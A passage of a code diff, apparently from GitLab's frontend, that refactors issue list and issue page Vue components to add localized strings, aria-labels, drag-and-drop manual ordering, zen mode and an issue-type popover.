+++ b/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue
@@ -13,6 +13,10 @@ import CsvExportModal from './csv_export_modal.vue';
import CsvImportModal from './csv_import_modal.vue';
export default {
+ i18n: {
+ exportAsCsvButtonText: __('Export as CSV'),
+ importIssuesText: __('Import issues'),
+ },
name: 'CsvImportExportButtons',
components: {
GlButtonGroup,
@@ -49,6 +53,18 @@ export default {
default: false,
},
},
+ props: {
+ exportCsvPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ issuableCount: {
+ type: Number,
+ required: false,
+ default: undefined,
+ },
+ },
computed: {
exportModalId() {
return `${this.issuableType}-export-modal`;
@@ -57,16 +73,15 @@ export default {
return `${this.issuableType}-import-modal`;
},
importButtonText() {
- return this.showLabel ? this.$options.importIssuesText : null;
+ return this.showLabel ? this.$options.i18n.importIssuesText : null;
},
importButtonTooltipText() {
- return this.showLabel ? null : this.$options.importIssuesText;
+ return this.showLabel ? null : this.$options.i18n.importIssuesText;
},
importButtonIcon() {
return this.showLabel ? null : 'import';
},
},
- importIssuesText: __('Import issues'),
};
</script>
@@ -75,9 +90,10 @@ export default {
<gl-button-group>
<gl-button
v-if="showExportButton"
- v-gl-tooltip.hover="__('Export as CSV')"
+ v-gl-tooltip.hover="$options.i18n.exportAsCsvButtonText"
v-gl-modal="exportModalId"
icon="export"
+ :aria-label="$options.i18n.exportAsCsvButtonText"
data-qa-selector="export_as_csv_button"
data-testid="export-csv-button"
/>
@@ -101,7 +117,12 @@ export default {
>
</gl-dropdown>
</gl-button-group>
- <csv-export-modal v-if="showExportButton" :modal-id="exportModalId" />
+ <csv-export-modal
+ v-if="showExportButton"
+ :modal-id="exportModalId"
+ :export-csv-path="exportCsvPath"
+ :issuable-count="issuableCount"
+ />
<csv-import-modal v-if="showImportButton" :modal-id="importModalId" />
</div>
</template>
diff --git a/app/assets/javascripts/issuable/components/issuable_by_email.vue b/app/assets/javascripts/issuable/components/issuable_by_email.vue
index 6d063b59922..d0ce8c2c34b 100644
--- a/app/assets/javascripts/issuable/components/issuable_by_email.vue
+++ b/app/assets/javascripts/issuable/components/issuable_by_email.vue
@@ -14,6 +14,9 @@ import { sprintf, __ } from '~/locale';
import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
export default {
+ i18n: {
+ sendEmail: __('Send email'),
+ },
name: 'IssuableByEmail',
components: {
GlButton,
@@ -116,7 +119,8 @@ export default {
<gl-button
v-gl-tooltip.hover
:href="mailToLink"
- :title="__('Send email')"
+ :title="$options.i18n.sendEmail"
+ :aria-label="$options.i18n.sendEmail"
icon="mail"
data-testid="mail-to-btn"
/>
diff --git a/app/assets/javascripts/issuable/init_csv_import_export_buttons.js b/app/assets/javascripts/issuable/init_csv_import_export_buttons.js
index 5a720b89d33..83163e3c478 100644
--- a/app/assets/javascripts/issuable/init_csv_import_export_buttons.js
+++ b/app/assets/javascripts/issuable/init_csv_import_export_buttons.js
@@ -1,6 +1,6 @@
import Vue from 'vue';
import { parseBoolean } from '~/lib/utils/common_utils';
-import ImportExportButtons from './components/csv_import_export_buttons.vue';
+import CsvImportExportButtons from './components/csv_import_export_buttons.vue';
export default () => {
const el = document.querySelector('.js-csv-import-export-buttons');
@@ -28,9 +28,7 @@ export default () => {
showExportButton: parseBoolean(showExportButton),
showImportButton: parseBoolean(showImportButton),
issuableType,
- issuableCount,
email,
- exportCsvPath,
importCsvIssuesPath,
containerClass,
canEdit: parseBoolean(canEdit),
@@ -39,7 +37,12 @@ export default () => {
showLabel,
},
render(h) {
- return h(ImportExportButtons);
+ return h(CsvImportExportButtons, {
+ props: {
+ exportCsvPath,
+ issuableCount: parseInt(issuableCount, 10),
+ },
+ });
},
});
};
diff --git a/app/assets/javascripts/issuable_bulk_update_actions.js b/app/assets/javascripts/issuable_bulk_update_actions.js
index f507f072253..366a9a8a883 100644
--- a/app/assets/javascripts/issuable_bulk_update_actions.js
+++ b/app/assets/javascripts/issuable_bulk_update_actions.js
@@ -87,7 +87,7 @@ export default {
// From issuable's initial bulk selection
getOriginalCommonIds() {
const labelIds = [];
- this.getElement('.selected-issuable:checked').each((i, el) => {
+ this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
labelIds.push(this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels'));
});
return intersection.apply(this, labelIds);
@@ -100,7 +100,7 @@ export default {
let issuableLabels = [];
// Collect unique label IDs for all checked issues
- this.getElement('.selected-issuable:checked').each((i, el) => {
+ this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
issuableLabels = this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels');
issuableLabels.forEach((labelId) => {
// Store unique IDs
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar.js b/app/assets/javascripts/issuable_bulk_update_sidebar.js
index ef98db5151a..97d50dde9f7 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar.js
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar.js
@@ -34,7 +34,7 @@ export default class IssuableBulkUpdateSidebar {
this.$otherFilters = $('.issues-other-filters');
this.$checkAllContainer = $('.check-all-holder');
this.$issueChecks = $('.issue-check');
- this.$issuesList = $('.selected-issuable');
+ this.$issuesList = $('.issuable-list input[type="checkbox"]');
this.$issuableIdsInput = $('#update_issuable_ids');
}
@@ -46,16 +46,11 @@ export default class IssuableBulkUpdateSidebar {
this.$bulkEditSubmitBtn.on('click', () => this.prepForSubmit());
this.$checkAllContainer.on('click', () => this.updateFormState());
- if (this.vueIssuablesListFeature) {
- issueableEventHub.$on('issuables:updateBulkEdit', () => {
- // Danger! Strong coupling ahead!
- // The bulk update sidebar and its dropdowns look for .selected-issuable checkboxes, and get data on which issue
- // is selected by inspecting the DOM. Ideally, we would pass the selected issuable IDs and their properties
- // explicitly, but this component is used in too many places right now to refactor straight away.
-
- this.updateFormState();
- });
- }
+ // The event hub connects this bulk update logic with `issues_list_app.vue`.
+ // We can remove it once we've refactored the issues list page bulk edit sidebar to Vue.
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/325874
+ issueableEventHub.$on('issuables:enableBulkEdit', () => this.toggleBulkEdit(null, true));
+ issueableEventHub.$on('issuables:updateBulkEdit', () => this.updateFormState());
}
initDropdowns() {
@@ -96,7 +91,7 @@ export default class IssuableBulkUpdateSidebar {
}
updateFormState() {
- const noCheckedIssues = !$('.selected-issuable:checked').length;
+ const noCheckedIssues = !$('.issuable-list input[type="checkbox"]:checked').length;
this.toggleSubmitButtonDisabled(noCheckedIssues);
this.updateSelectedIssuableIds();
@@ -112,7 +107,7 @@ export default class IssuableBulkUpdateSidebar {
}
toggleBulkEdit(e, enable) {
- e.preventDefault();
+ e?.preventDefault();
issueableEventHub.$emit('issuables:toggleBulkEdit', enable);
@@ -166,7 +161,7 @@ export default class IssuableBulkUpdateSidebar {
}
static getCheckedIssueIds() {
- const $checkedIssues = $('.selected-issuable:checked');
+ const $checkedIssues = $('.issuable-list input[type="checkbox"]:checked');
if ($checkedIssues.length > 0) {
return $.map($checkedIssues, (value) => $(value).data('id'));
diff --git a/app/assets/javascripts/issuable_index.js b/app/assets/javascripts/issuable_index.js
index 4856f9781ce..cdeee68b762 100644
--- a/app/assets/javascripts/issuable_index.js
+++ b/app/assets/javascripts/issuable_index.js
@@ -1,7 +1,7 @@
import issuableInitBulkUpdateSidebar from './issuable_init_bulk_update_sidebar';
export default class IssuableIndex {
- constructor(pagePrefix) {
+ constructor(pagePrefix = 'issuable_') {
issuableInitBulkUpdateSidebar.init(pagePrefix);
}
}
diff --git a/app/assets/javascripts/issuable_list/components/issuable_item.vue b/app/assets/javascripts/issuable_list/components/issuable_item.vue
index 92c527c79ff..5d497369f5a 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_item.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_item.vue
@@ -65,6 +65,9 @@ export default {
labels() {
return this.issuable.labels?.nodes || this.issuable.labels || [];
},
+ labelIdsString() {
+ return JSON.stringify(this.labels.map((label) => label.id));
+ },
assignees() {
return this.issuable.assignees || [];
},
@@ -149,12 +152,13 @@ export default {
</script>
<template>
- <li class="issue gl-px-5!">
+ <li :id="`issuable_${issuable.id}`" class="issue gl-px-5!" :data-labels="labelIdsString">
<div class="issuable-info-container">
<div v-if="showCheckbox" class="issue-check">
<gl-form-checkbox
class="gl-mr-0"
:checked="checked"
+ :data-id="issuable.id"
@input="$emit('checked-input', $event)"
/>
</div>
diff --git a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
index 40b0fcbb8c6..6b95c3a578e 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
@@ -10,7 +10,14 @@ import IssuableBulkEditSidebar from './issuable_bulk_edit_sidebar.vue';
import IssuableItem from './issuable_item.vue';
import IssuableTabs from './issuable_tabs.vue';
+const VueDraggable = () => import('vuedraggable');
+
export default {
+ vueDraggableAttributes: {
+ animation: 200,
+ ghostClass: 'gl-visibility-hidden',
+ tag: 'ul',
+ },
components: {
GlSkeletonLoading,
IssuableTabs,
@@ -18,6 +25,7 @@ export default {
IssuableItem,
IssuableBulkEditSidebar,
GlPagination,
+ VueDraggable,
},
props: {
namespace: {
@@ -127,6 +135,11 @@ export default {
required: false,
default: null,
},
+ isManualOrdering: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -159,6 +172,9 @@ export default {
return acc;
}, []);
},
+ issuablesWrapper() {
+ return this.isManualOrdering ? VueDraggable : 'ul';
+ },
},
watch: {
issuables(list) {
@@ -202,11 +218,16 @@ export default {
},
handleIssuableCheckedInput(issuable, value) {
this.checkedIssuables[this.issuableId(issuable)].checked = value;
+ this.$emit('update-legacy-bulk-edit');
},
handleAllIssuablesCheckedInput(value) {
Object.keys(this.checkedIssuables).forEach((issuableId) => {
this.checkedIssuables[issuableId].checked = value;
});
+ this.$emit('update-legacy-bulk-edit');
+ },
+ handleVueDraggableUpdate({ newIndex, oldIndex }) {
+ this.$emit('reorder', { newIndex, oldIndex });
},
},
};
@@ -253,13 +274,18 @@ export default {
<gl-skeleton-loading />
</li>
</ul>
- <ul
+ <component
+ :is="issuablesWrapper"
v-if="!issuablesLoading && issuables.length"
class="content-list issuable-list issues-list"
+ :class="{ 'manual-ordering': isManualOrdering }"
+ v-bind="$options.vueDraggableAttributes"
+ @update="handleVueDraggableUpdate"
>
<issuable-item
v-for="issuable in issuables"
:key="issuableId(issuable)"
+ :class="{ 'gl-cursor-grab': isManualOrdering }"
:issuable-symbol="issuableSymbol"
:issuable="issuable"
:enable-label-permalinks="enableLabelPermalinks"
@@ -284,7 +310,7 @@ export default {
<slot name="statistics" :issuable="issuable"></slot>
</template>
</issuable-item>
- </ul>
+ </component>
<slot v-if="!issuablesLoading && !issuables.length" name="empty-state"></slot>
<gl-pagination
v-if="showPaginationControls"
diff --git a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
index 57da030e22e..6bc621b52e6 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
@@ -26,6 +26,9 @@ export default {
isTabActive(tabName) {
return tabName === this.currentTab;
},
+ isTabCountNumeric(tab) {
+ return Number.isInteger(this.tabCounts[tab.name]);
+ },
},
};
</script>
@@ -44,9 +47,13 @@ export default {
>
<template #title>
<span :title="tab.titleTooltip">{{ tab.title }}</span>
- <gl-badge v-if="tabCounts" variant="neutral" size="sm" class="gl-tab-counter-badge">{{
- tabCounts[tab.name]
- }}</gl-badge>
+ <gl-badge
+ v-if="isTabCountNumeric(tab)"
+ variant="neutral"
+ size="sm"
+ class="gl-tab-counter-badge"
+ >{{ tabCounts[tab.name] }}</gl-badge
+ >
</template>
</gl-tab>
</gl-tabs>
diff --git a/app/assets/javascripts/issuable_show/components/issuable_body.vue b/app/assets/javascripts/issuable_show/components/issuable_body.vue
index fe102e942c9..05dc1650379 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_body.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_body.vue
@@ -42,6 +42,10 @@ export default {
type: Boolean,
required: true,
},
+ enableZenMode: {
+ type: Boolean,
+ required: true,
+ },
enableTaskList: {
type: Boolean,
required: false,
@@ -144,6 +148,7 @@ export default {
:issuable="issuable"
:enable-autocomplete="enableAutocomplete"
:enable-autosave="enableAutosave"
+ :enable-zen-mode="enableZenMode"
:show-field-title="showFieldTitle"
:description-preview-path="descriptionPreviewPath"
:description-help-path="descriptionHelpPath"
diff --git a/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue b/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
index 6d139541524..33dca3e9332 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
@@ -4,6 +4,7 @@ import $ from 'jquery';
import Autosave from '~/autosave';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import ZenMode from '~/zen_mode';
import eventHub from '../event_hub';
@@ -27,6 +28,10 @@ export default {
type: Boolean,
required: true,
},
+ enableZenMode: {
+ type: Boolean,
+ required: true,
+ },
showFieldTitle: {
type: Boolean,
required: true,
@@ -62,6 +67,9 @@ export default {
},
mounted() {
if (this.enableAutosave) this.initAutosave();
+
+ // eslint-disable-next-line no-new
+ if (this.enableZenMode) new ZenMode();
},
beforeDestroy() {
eventHub.$off('update.issuable', this.resetAutosave);
diff --git a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
index b514a6b01d8..ca057094868 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
@@ -42,6 +42,11 @@ export default {
required: false,
default: true,
},
+ enableZenMode: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
enableTaskList: {
type: Boolean,
required: false,
@@ -120,6 +125,7 @@ export default {
:enable-edit="enableEdit"
:enable-autocomplete="enableAutocomplete"
:enable-autosave="enableAutosave"
+ :enable-zen-mode="enableZenMode"
:enable-task-list="enableTaskList"
:edit-form-visible="editFormVisible"
:show-field-title="showFieldTitle"
diff --git a/app/assets/javascripts/issuable_show/components/issuable_title.vue b/app/assets/javascripts/issuable_show/components/issuable_title.vue
index b7ea4a010a3..b96ce0c43f7 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_title.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_title.vue
@@ -6,8 +6,12 @@ import {
GlTooltipDirective,
GlSafeHtmlDirective as SafeHtml,
} from '@gitlab/ui';
+import { __ } from '~/locale';
export default {
+ i18n: {
+ editTitleAndDescription: __('Edit title and description'),
+ },
components: {
GlIcon,
GlButton,
@@ -58,7 +62,8 @@ export default {
<gl-button
v-if="enableEdit"
v-gl-tooltip.bottom
- :title="__('Edit title and description')"
+ :title="$options.i18n.editTitleAndDescription"
+ :aria-label="$options.i18n.editTitleAndDescription"
icon="pencil"
class="btn-edit js-issuable-edit qa-edit-button"
@click="$emit('edit-issuable', $event)"
diff --git a/app/assets/javascripts/issuable_sidebar/queries/issue_sidebar.query.graphql b/app/assets/javascripts/issuable_sidebar/queries/issue_sidebar.query.graphql
deleted file mode 100644
index 42e646391a8..00000000000
--- a/app/assets/javascripts/issuable_sidebar/queries/issue_sidebar.query.graphql
+++ /dev/null
@@ -1,16 +0,0 @@
-#import "~/graphql_shared/fragments/author.fragment.graphql"
-
-query getProjectIssue($iid: String!, $fullPath: ID!) {
- project(fullPath: $fullPath) {
- issue(iid: $iid) {
- id
- assignees {
- nodes {
- ...Author
- id
- state
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/issuable_type_selector/components/info_popover.vue b/app/assets/javascripts/issuable_type_selector/components/info_popover.vue
new file mode 100644
index 00000000000..3a20ccba814
--- /dev/null
+++ b/app/assets/javascripts/issuable_type_selector/components/info_popover.vue
@@ -0,0 +1,41 @@
+<script>
+import { GlIcon, GlPopover } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ i18n: {
+ issueTypes: __('Issue types'),
+ issue: __('Issue'),
+ incident: __('Incident'),
+ issueHelpText: __('For general work'),
+ incidentHelpText: __('For investigating IT service disruptions or outages'),
+ },
+ components: {
+ GlIcon,
+ GlPopover,
+ },
+};
+</script>
+
+<template>
+ <span id="popovercontainer">
+ <gl-icon id="issuable-type-info" name="question-o" class="gl-ml-5 gl-text-gray-500" />
+ <gl-popover
+ target="issuable-type-info"
+ container="popovercontainer"
+ :title="$options.i18n.issueTypes"
+ triggers="focus hover"
+ >
+ <ul class="gl-list-style-none gl-p-0 gl-m-0">
+ <li class="gl-mb-3">
+ <div class="gl-font-weight-bold">{{ $options.i18n.issue }}</div>
+ <span>{{ $options.i18n.issueHelpText }}</span>
+ </li>
+ <li>
+ <div class="gl-font-weight-bold">{{ $options.i18n.incident }}</div>
+ <span>{{ $options.i18n.incidentHelpText }}</span>
+ </li>
+ </ul>
+ </gl-popover>
+ </span>
+</template>
diff --git a/app/assets/javascripts/issuable_type_selector/index.js b/app/assets/javascripts/issuable_type_selector/index.js
new file mode 100644
index 00000000000..433a62d1ae8
--- /dev/null
+++ b/app/assets/javascripts/issuable_type_selector/index.js
@@ -0,0 +1,16 @@
+import Vue from 'vue';
+import InfoPopover from './components/info_popover.vue';
+
+export default function initIssuableTypeSelector() {
+ const el = document.getElementById('js-type-popover');
+
+ return new Vue({
+ el,
+ components: {
+ InfoPopover,
+ },
+ render(h) {
+ return h(InfoPopover);
+ },
+ });
+}
diff --git a/app/assets/javascripts/issue_show/components/app.vue b/app/assets/javascripts/issue_show/components/app.vue
index 9b978483cc6..d153ff21a35 100644
--- a/app/assets/javascripts/issue_show/components/app.vue
+++ b/app/assets/javascripts/issue_show/components/app.vue
@@ -238,7 +238,7 @@ export default {
: '';
},
statusIcon() {
- return this.isClosed ? 'mobile-issue-close' : 'issue-open-m';
+ return this.isClosed ? 'issue-close' : 'issue-open-m';
},
statusText() {
return IssuableStatusText[this.issuableStatus];
diff --git a/app/assets/javascripts/issue_show/components/edit_actions.vue b/app/assets/javascripts/issue_show/components/edit_actions.vue
index 20c759cfbbd..7733e366c4f 100644
--- a/app/assets/javascripts/issue_show/components/edit_actions.vue
+++ b/app/assets/javascripts/issue_show/components/edit_actions.vue
@@ -47,7 +47,7 @@ export default {
},
deleteIssuableButtonText() {
return sprintf(__('Delete %{issuableType}'), {
- issuableType: issuableTypes[this.issuableType],
+ issuableType: issuableTypes[this.issuableType].toLowerCase(),
});
},
},
@@ -79,23 +79,23 @@ export default {
:loading="formState.updateLoading"
:disabled="formState.updateLoading || !isSubmitEnabled"
category="primary"
- variant="success"
- class="float-left qa-save-button"
+ variant="confirm"
+ class="float-left qa-save-button gl-mr-3"
type="submit"
@click.prevent="updateIssuable"
>
{{ __('Save changes') }}
</gl-button>
- <gl-button class="float-right" @click="closeForm">
+ <gl-button @click="closeForm">
{{ __('Cancel') }}
</gl-button>
<gl-button
v-if="shouldShowDeleteButton"
:loading="deleteLoading"
:disabled="deleteLoading"
- category="primary"
+ category="secondary"
variant="danger"
- class="float-right gl-mr-3 qa-delete-button"
+ class="float-right qa-delete-button"
@click="deleteIssuable"
>
{{ deleteIssuableButtonText }}
diff --git a/app/assets/javascripts/issue_show/components/header_actions.vue b/app/assets/javascripts/issue_show/components/header_actions.vue
index 2f2c4c6e341..2bddbe4faa0 100644
--- a/app/assets/javascripts/issue_show/components/header_actions.vue
+++ b/app/assets/javascripts/issue_show/components/header_actions.vue
@@ -1,5 +1,5 @@
<script>
-import { GlButton, GlDropdown, GlDropdownItem, GlIcon, GlLink, GlModal } from '@gitlab/ui';
+import { GlButton, GlDropdown, GlDropdownItem, GlLink, GlModal } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import createFlash, { FLASH_TYPES } from '~/flash';
import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
@@ -17,7 +17,6 @@ export default {
GlButton,
GlDropdown,
GlDropdownItem,
- GlIcon,
GlLink,
GlModal,
},
@@ -26,7 +25,6 @@ export default {
},
actionPrimary: {
text: __('Yes, close issue'),
- attributes: [{ variant: 'warning' }],
},
i18n: {
promoteErrorMessage: __(
@@ -88,9 +86,6 @@ export default {
qaSelector() {
return this.isClosed ? 'reopen_issue_button' : 'close_issue_button';
},
- buttonVariant() {
- return this.isClosed ? 'default' : 'warning';
- },
dropdownText() {
return sprintf(__('%{issueType} actions'), {
issueType: capitalizeFirstCharacter(this.issueType),
@@ -192,9 +187,9 @@ export default {
</script>
<template>
- <div class="detail-page-header-actions">
+ <div class="detail-page-header-actions gl-display-flex">
<gl-dropdown
- class="gl-display-block gl-sm-display-none!"
+ class="gl-sm-display-none! w-100"
block
:text="dropdownText"
:loading="isToggleStateButtonLoading"
@@ -224,26 +219,22 @@ export default {
<gl-button
v-if="showToggleIssueStateButton"
class="gl-display-none gl-sm-display-inline-flex!"
- category="secondary"
:data-qa-selector="qaSelector"
:loading="isToggleStateButtonLoading"
- :variant="buttonVariant"
@click="toggleIssueState"
>
{{ buttonText }}
</gl-button>
<gl-dropdown
- class="gl-display-none gl-sm-display-inline-flex!"
- toggle-class="gl-border-0! gl-shadow-none!"
+ class="gl-display-none gl-sm-display-inline-flex! gl-ml-3"
+ icon="ellipsis_v"
+ category="tertiary"
+ :text="dropdownText"
+ :text-sr-only="true"
no-caret
right
>
- <template #button-content>
- <gl-icon name="ellipsis_v" />
- <span class="gl-sr-only">{{ dropdownText }}</span>
- </template>
-
<gl-dropdown-item v-if="canCreateIssue" :href="newIssuePath">
{{ newIssueTypeText }}
</gl-dropdown-item>
diff --git a/app/assets/javascripts/issue_show/components/title.vue b/app/assets/javascripts/issue_show/components/title.vue
index 806d95ca748..5e92211685a 100644
--- a/app/assets/javascripts/issue_show/components/title.vue
+++ b/app/assets/javascripts/issue_show/components/title.vue
@@ -1,9 +1,13 @@
<script>
import { GlButton, GlTooltipDirective, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import { __ } from '~/locale';
import eventHub from '../event_hub';
import animateMixin from '../mixins/animate';
export default {
+ i18n: {
+ editTitleAndDescription: __('Edit title and description'),
+ },
components: {
GlButton,
},
@@ -78,7 +82,8 @@ export default {
v-gl-tooltip.bottom
icon="pencil"
class="btn-edit js-issuable-edit qa-edit-button"
- title="Edit title and description"
+ :title="$options.i18n.editTitleAndDescription"
+ :aria-label="$options.i18n.editTitleAndDescription"
@click="edit"
/>
</div>
diff --git a/app/assets/javascripts/issues_list/components/issuables_list_app.vue b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
index 0b413ce0b06..51cad662ebf 100644
--- a/app/assets/javascripts/issues_list/components/issuables_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
@@ -30,6 +30,9 @@ import issueableEventHub from '../eventhub';
import { emptyStateHelper } from '../service_desk_helper';
import Issuable from './issuable.vue';
+/**
+ * @deprecated Use app/assets/javascripts/issuable_list/components/issuable_list_root.vue instead
+ */
export default {
LOADING_LIST_ITEMS_LENGTH,
directives: {
diff --git a/app/assets/javascripts/issues_list/components/issues_list_app.vue b/app/assets/javascripts/issues_list/components/issues_list_app.vue
index c57fa5a82fa..57c5107fcbb 100644
--- a/app/assets/javascripts/issues_list/components/issues_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issues_list_app.vue
@@ -1,19 +1,63 @@
<script>
-import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
+import { GlButton, GlEmptyState, GlIcon, GlLink, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
import { toNumber } from 'lodash';
import createFlash from '~/flash';
+import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import IssuableList from '~/issuable_list/components/issuable_list_root.vue';
-import { IssuableStatus } from '~/issue_show/constants';
-import { PAGE_SIZE } from '~/issues_list/constants';
+import { IssuableListTabs, IssuableStates } from '~/issuable_list/constants';
+import {
+ CREATED_DESC,
+ PAGE_SIZE,
+ RELATIVE_POSITION_ASC,
+ sortOptions,
+ sortParams,
+} from '~/issues_list/constants';
import axios from '~/lib/utils/axios_utils';
import { convertObjectPropsToCamelCase, getParameterByName } from '~/lib/utils/common_utils';
-import { __ } from '~/locale';
+import { __, s__ } from '~/locale';
+import eventHub from '../eventhub';
import IssueCardTimeInfo from './issue_card_time_info.vue';
export default {
+ CREATED_DESC,
+ IssuableListTabs,
PAGE_SIZE,
+ sortOptions,
+ sortParams,
+ i18n: {
+ calendarLabel: __('Subscribe to calendar'),
+ jiraIntegrationMessage: s__(
+ 'JiraService|%{jiraDocsLinkStart}Enable the Jira integration%{jiraDocsLinkEnd} to view your Jira issues in GitLab.',
+ ),
+ jiraIntegrationSecondaryMessage: s__('JiraService|This feature requires a Premium plan.'),
+ jiraIntegrationTitle: s__('JiraService|Using Jira for issue tracking?'),
+ newIssueLabel: __('New issue'),
+ noClosedIssuesTitle: __('There are no closed issues'),
+ noOpenIssuesDescription: __('To keep this project going, create a new issue'),
+ noOpenIssuesTitle: __('There are no open issues'),
+ noIssuesSignedInDescription: __(
+ 'Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable.',
+ ),
+ noIssuesSignedInTitle: __(
+ 'The Issue Tracker is the place to add things that need to be improved or solved in a project',
+ ),
+ noIssuesSignedOutButtonText: __('Register / Sign In'),
+ noIssuesSignedOutDescription: __(
+ 'The Issue Tracker is the place to add things that need to be improved or solved in a project. You can register or sign in to create issues for this project.',
+ ),
+ noIssuesSignedOutTitle: __('There are no issues to show'),
+ noSearchResultsDescription: __('To widen your search, change or remove filters above'),
+ noSearchResultsTitle: __('Sorry, your filter produced no results'),
+ reorderError: __('An error occurred while reordering issues.'),
+ rssLabel: __('Subscribe to RSS feed'),
+ },
components: {
+ CsvImportExportButtons,
+ GlButton,
+ GlEmptyState,
GlIcon,
+ GlLink,
+ GlSprintf,
IssuableList,
IssueCardTimeInfo,
BlockingIssuesCount: () => import('ee_component/issues/components/blocking_issues_count.vue'),
@@ -22,49 +66,147 @@ export default {
GlTooltip: GlTooltipDirective,
},
inject: {
+ calendarPath: {
+ default: '',
+ },
+ canBulkUpdate: {
+ default: false,
+ },
+ emptyStateSvgPath: {
+ default: '',
+ },
endpoint: {
default: '',
},
+ exportCsvPath: {
+ default: '',
+ },
fullPath: {
default: '',
},
+ hasIssues: {
+ default: false,
+ },
+ isSignedIn: {
+ default: false,
+ },
+ issuesPath: {
+ default: '',
+ },
+ jiraIntegrationPath: {
+ default: '',
+ },
+ newIssuePath: {
+ default: '',
+ },
+ rssPath: {
+ default: '',
+ },
+ showNewIssueLink: {
+ default: false,
+ },
+ signInPath: {
+ default: '',
+ },
},
data() {
+ const orderBy = getParameterByName('order_by');
+ const sort = getParameterByName('sort');
+ const sortKey = Object.keys(sortParams).find(
+ (key) => sortParams[key].order_by === orderBy && sortParams[key].sort === sort,
+ );
+
+ const search = getParameterByName('search') || '';
+ const tokens = search.split(' ').map((searchWord) => ({
+ type: 'filtered-search-term',
+ value: {
+ data: searchWord,
+ },
+ }));
+
return {
- currentPage: toNumber(getParameterByName('page')) || 1,
+ exportCsvPathWithQuery: this.getExportCsvPathWithQuery(),
+ filters: sortParams[sortKey] || {},
+ filterTokens: tokens,
isLoading: false,
issues: [],
+ page: toNumber(getParameterByName('page')) || 1,
+ showBulkEditSidebar: false,
+ sortKey: sortKey || CREATED_DESC,
+ state: getParameterByName('state') || IssuableStates.Opened,
totalIssues: 0,
};
},
computed: {
+ isManualOrdering() {
+ return this.sortKey === RELATIVE_POSITION_ASC;
+ },
+ isOpenTab() {
+ return this.state === IssuableStates.Opened;
+ },
+ searchQuery() {
+ return (
+ this.filterTokens
+ .map((searchTerm) => searchTerm.value.data)
+ .filter((searchWord) => Boolean(searchWord))
+ .join(' ') || undefined
+ );
+ },
+ showPaginationControls() {
+ return this.issues.length > 0;
+ },
+ tabCounts() {
+ return Object.values(IssuableStates).reduce(
+ (acc, state) => ({
+ ...acc,
+ [state]: this.state === state ? this.totalIssues : undefined,
+ }),
+ {},
+ );
+ },
urlParams() {
return {
- page: this.currentPage,
- state: IssuableStatus.Open,
+ page: this.page,
+ search: this.searchQuery,
+ state: this.state,
+ ...this.filters,
};
},
},
mounted() {
+ eventHub.$on('issuables:toggleBulkEdit', (showBulkEditSidebar) => {
+ this.showBulkEditSidebar = showBulkEditSidebar;
+ });
this.fetchIssues();
},
+ beforeDestroy() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ eventHub.$off('issuables:toggleBulkEdit');
+ },
methods: {
- fetchIssues(pageToFetch) {
+ fetchIssues() {
+ if (!this.hasIssues) {
+ return undefined;
+ }
+
this.isLoading = true;
return axios
.get(this.endpoint, {
params: {
- page: pageToFetch || this.currentPage,
+ page: this.page,
per_page: this.$options.PAGE_SIZE,
- state: IssuableStatus.Open,
+ search: this.searchQuery,
+ state: this.state,
with_labels_details: true,
+ ...this.filters,
},
})
.then(({ data, headers }) => {
- this.currentPage = Number(headers['x-page']);
+ this.page = Number(headers['x-page']);
this.totalIssues = Number(headers['x-total']);
this.issues = data.map((issue) => convertObjectPropsToCamelCase(issue, { deep: true }));
+ this.exportCsvPathWithQuery = this.getExportCsvPathWithQuery();
})
.catch(() => {
createFlash({ message: __('An error occurred while loading issues') });
@@ -73,8 +215,71 @@ export default {
this.isLoading = false;
});
},
+ getExportCsvPathWithQuery() {
+ return `${this.exportCsvPath}${window.location.search}`;
+ },
